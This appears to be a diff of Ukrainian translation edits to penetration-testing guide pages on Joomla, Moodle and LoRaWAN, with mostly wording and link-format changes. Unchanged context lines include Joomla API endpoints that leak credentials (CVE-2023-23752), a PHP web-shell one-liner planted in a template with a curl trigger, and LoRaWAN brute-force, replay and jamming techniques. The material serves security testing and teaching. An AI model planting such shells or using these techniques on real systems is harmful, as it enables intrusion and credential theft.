- `hadolint Dockerfile`
![](<../images/image (501).png>)

View File

@ -33,9 +33,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
}
}
```
## Enumeration
## Перерахунок
### Discovery/Footprinting
### Виявлення/Футпринтинг
- Перевірте **meta**
```bash
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Версія
@ -73,9 +73,9 @@ droopescan scan joomla --url http://joomla-site.local/
```
В[ **80,443 - Методологія пентестингу веб є розділом про сканери CMS**](#cms-scanners), які можуть сканувати Joomla.
### Розкриття інформації без аутентифікації через API:
### Розкриття інформації без аутентифікації API:
Версії від 4.0.0 до 4.2.7 вразливі до розкриття інформації без аутентифікації (CVE-2023-23752), що дозволяє вивантажувати облікові дані та іншу інформацію.
Версії з 4.0.0 по 4.2.7 вразливі до розкриття інформації без аутентифікації (CVE-2023-23752), яке виведе облікові дані та іншу інформацію.
- Користувачі: `http://<host>/api/v1/users?public=true`
- Конфігураційний файл: `http://<host>/api/index.php/v1/config/application?public=true`
@ -96,14 +96,14 @@ admin:admin
1. **Натисніть** на **`Templates`** внизу зліва під `Configuration`, щоб відкрити меню шаблонів.
2. **Натисніть** на назву **шаблону**. Виберемо **`protostar`** під заголовком стовпця `Template`. Це перенесе нас на сторінку **`Templates: Customise`**.
3. Нарешті, ви можете натиснути на сторінку, щоб відкрити **джерело сторінки**. Виберемо сторінку **`error.php`**. Додамо **PHP однорядковий код для отримання виконання коду** наступним чином:
3. Нарешті, ви можете натиснути на сторінку, щоб відкрити **джерело сторінки**. Виберемо сторінку **`error.php`**. Додамо **PHP однолінійник для отримання виконання коду** наступним чином:
1. **`system($_GET['cmd']);`**
4. **Зберегти та закрити**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## Від XSS до RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Скрипт експлуатації Joomla, який **підвищує XSS до RCE або інших критичних вразливостей**. Для отримання додаткової інформації перегляньте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він забезпечує **підтримку версій Joomla 5.X.X, 4.X.X та 3.X.X, і дозволяє:**
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Скрипт експлуатації Joomla, який **підвищує XSS до RCE або інших критичних вразливостей**. Для отримання додаткової інформації перегляньте [**цей пост**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він надає **підтримку для версій Joomla 5.X.X, 4.X.X та 3.X.X, і дозволяє:**
- _**Підвищення привілеїв:**_ Створює користувача в Joomla.
- _**(RCE) Вбудоване редагування шаблонів:**_ Редагує вбудовані шаблони в Joomla.
- _**(Custom) Користувацькі експлойти:**_ Користувацькі експлойти для сторонніх плагінів Joomla.

View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed)
```
@ -66,7 +66,7 @@ cmsmap http://moodle.example.com/<moodle_path>
## **RCE**
Вам потрібно мати роль **менеджера** і ви **можете встановлювати плагіни** в розділі **"Site administration"**:
Вам потрібно мати роль **менеджера**, і ви **можете встановлювати плагіни** в розділі **"Site administration"**:
![](<../../images/image (630).png>)

View File

@ -4,9 +4,9 @@
## Introduction
**Low-Power Wide Area Network** (LPWAN) — це група бездротових, низькопотужних, широкосмугових технологій мереж, призначених для **дальніх комунікацій** з низькою швидкістю передачі даних. Вони можуть досягати більше **шісти миль**, а їх **батареї** можуть працювати до **20 років**.
**Low-Power Wide Area Network** (LPWAN) — це група бездротових, низькопотужних, широкосмугових технологій, призначених для **дальніх комунікацій** з низькою швидкістю передачі даних. Вони можуть досягати більше **шісти миль**, а їх **батареї** можуть працювати до **20 років**.
Long Range (**LoRa**) наразі є найбільш розгорнутим фізичним рівнем LPWAN, а його відкрита специфікація MAC-рівня — це **LoRaWAN**.
Long Range (**LoRa**) наразі є найбільш розгорнутим фізичним рівнем LPWAN, а його відкрита специфікація MAC-рівня — **LoRaWAN**.
---
@ -16,7 +16,7 @@ Long Range (**LoRa**) наразі є найбільш розгорнутим ф
* LoRaWAN відкритий MAC/мережевий рівень, що підтримується LoRa-Alliance. Версії 1.0.x та 1.1 є поширеними в полі.
* Типова архітектура: *кінцевий пристрій → шлюз (пакетний пересилальник) → мережевий сервер → сервер додатків*.
> **Модель безпеки** базується на двох кореневих ключах AES-128 (AppKey/NwkKey), які генерують сеансові ключі під час процедури *приєднання* (OTAA) або закодовані в коді (ABP). Якщо будь-який ключ витече, зловмисник отримує повний доступ на читання/запис відповідного трафіку.
> **Модель безпеки** базується на двох кореневих ключах AES-128 (AppKey/NwkKey), які генерують сеансові ключі під час процедури *приєднання* (OTAA) або закодовані (ABP). Якщо будь-який ключ витече, зловмисник отримує повний доступ на читання/запис відповідного трафіку.
---
@ -34,8 +34,8 @@ Long Range (**LoRa**) наразі є найбільш розгорнутим ф
## Останні вразливості (2023-2025)
* **CVE-2024-29862** *ChirpStack gateway-bridge & mqtt-forwarder* приймали TCP пакети, які обходили правила станового брандмауера на шлюзах Kerlink, що дозволяло вразливість віддаленого управлінського інтерфейсу. Виправлено в 4.0.11 / 4.2.1 відповідно.
* **Dragino LG01/LG308 series** Багато CVE 2022-2024 (наприклад, 2022-45227 перехід по директорії, 2022-45228 CSRF) все ще спостерігаються без виправлень у 2025 році; дозволяють неавтентифікований дамп прошивки або перезапис конфігурації на тисячах публічних шлюзів.
* Переповнення *пакетного пересилальника UDP* Semtech (неопубліковане повідомлення, виправлено 2023-10): створений uplink більше 255 B викликав переповнення стеку > RCE на шлюзах SX130x (виявлено на Black Hat EU 2023 “LoRa Exploitation Reloaded”).
* **Dragino LG01/LG308 series** Багато CVE 2022-2024 (наприклад, 2022-45227 перехід по директоріях, 2022-45228 CSRF) все ще спостерігаються без виправлень у 2025 році; дозволяють неавтентифікований дамп прошивки або перезапис конфігурації на тисячах публічних шлюзів.
* Переповнення *пакетного пересилальника UDP* Semtech (неопубліковане повідомлення, виправлено 2023-10): створений uplink більше 255 B викликав переповнення стеку > RCE на референсних шлюзах SX130x (виявлено на Black Hat EU 2023 “LoRa Exploitation Reloaded”).
---
@ -54,7 +54,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
1. Захопіть легітимний **JoinRequest**.
2. Негайно повторно передайте його (або збільшіть RSSI) перед тим, як оригінальний пристрій знову передасть дані.
3. Сервер мережі виділяє новий DevAddr та ключі сесії, поки цільовий пристрій продовжує використовувати стару сесію → атакуючий володіє вільною сесією і може інжектувати підроблені uplink-и.
3. Сервер мережі виділяє новий DevAddr та ключі сесії, поки цільовий пристрій продовжує використовувати стару сесію → атакуючий володіє вільною сесією і може вводити підроблені uplink.
### 3. Зниження адаптивної швидкості передачі даних (ADR)
@ -62,17 +62,17 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
### 4. Реактивне глушіння
*HackRF One*, що працює з GNU Radio flowgraph, активує широкий сигнал, коли виявляється преамбула блокує всі фактори розповсюдження з ≤200 мВт TX; повне відключення вимірюється на відстані 2 км.
*HackRF One*, що працює з GNU Radio flowgraph, активує широкосмуговий сигнал, коли виявляється преамбула блокує всі фактори розповсюдження з ≤200 мВт TX; повне відключення вимірюється на відстані 2 км.
---
## Наступні інструменти (2025)
## Наступальні інструменти (2025)
| Інструмент | Призначення | Примітки |
|------------|-------------|----------|
| **LoRaWAN Auditing Framework (LAF)** | Створення/парсинг/атака на LoRaWAN фрейми, аналізатори на базі БД, брутфорсер | Docker-образ, підтримує Semtech UDP вхід |
| **LoRaPWN** | Утиліта Trend Micro на Python для брутфорсу OTAA, генерації downlink-ів, розшифровки навантажень | Демонстрація випущена 2023, SDR-агностична |
| **LoRAttack** | Багатоканальний sniff-er + повтор з USRP; експортує PCAP/LoRaTap | Хороша інтеграція з Wireshark |
| **LoRaPWN** | Утиліта Trend Micro на Python для брутфорсу OTAA, генерації downlink, розшифровки навантажень | Демонстрація випущена 2023, SDR-агностична |
| **LoRAttack** | Багатоканальний sniffing + повтор з USRP; експортує PCAP/LoRaTap | Хороша інтеграція з Wireshark |
| **gr-lora / gr-lorawan** | Блоки GNU Radio OOT для базової передачі/прийому | Основи для кастомних атак |
---
@ -89,6 +89,6 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
## Посилання
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf
* Огляд Trend Micro LoRaPWN https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
* LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Огляд Trend Micro LoRaPWN [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}}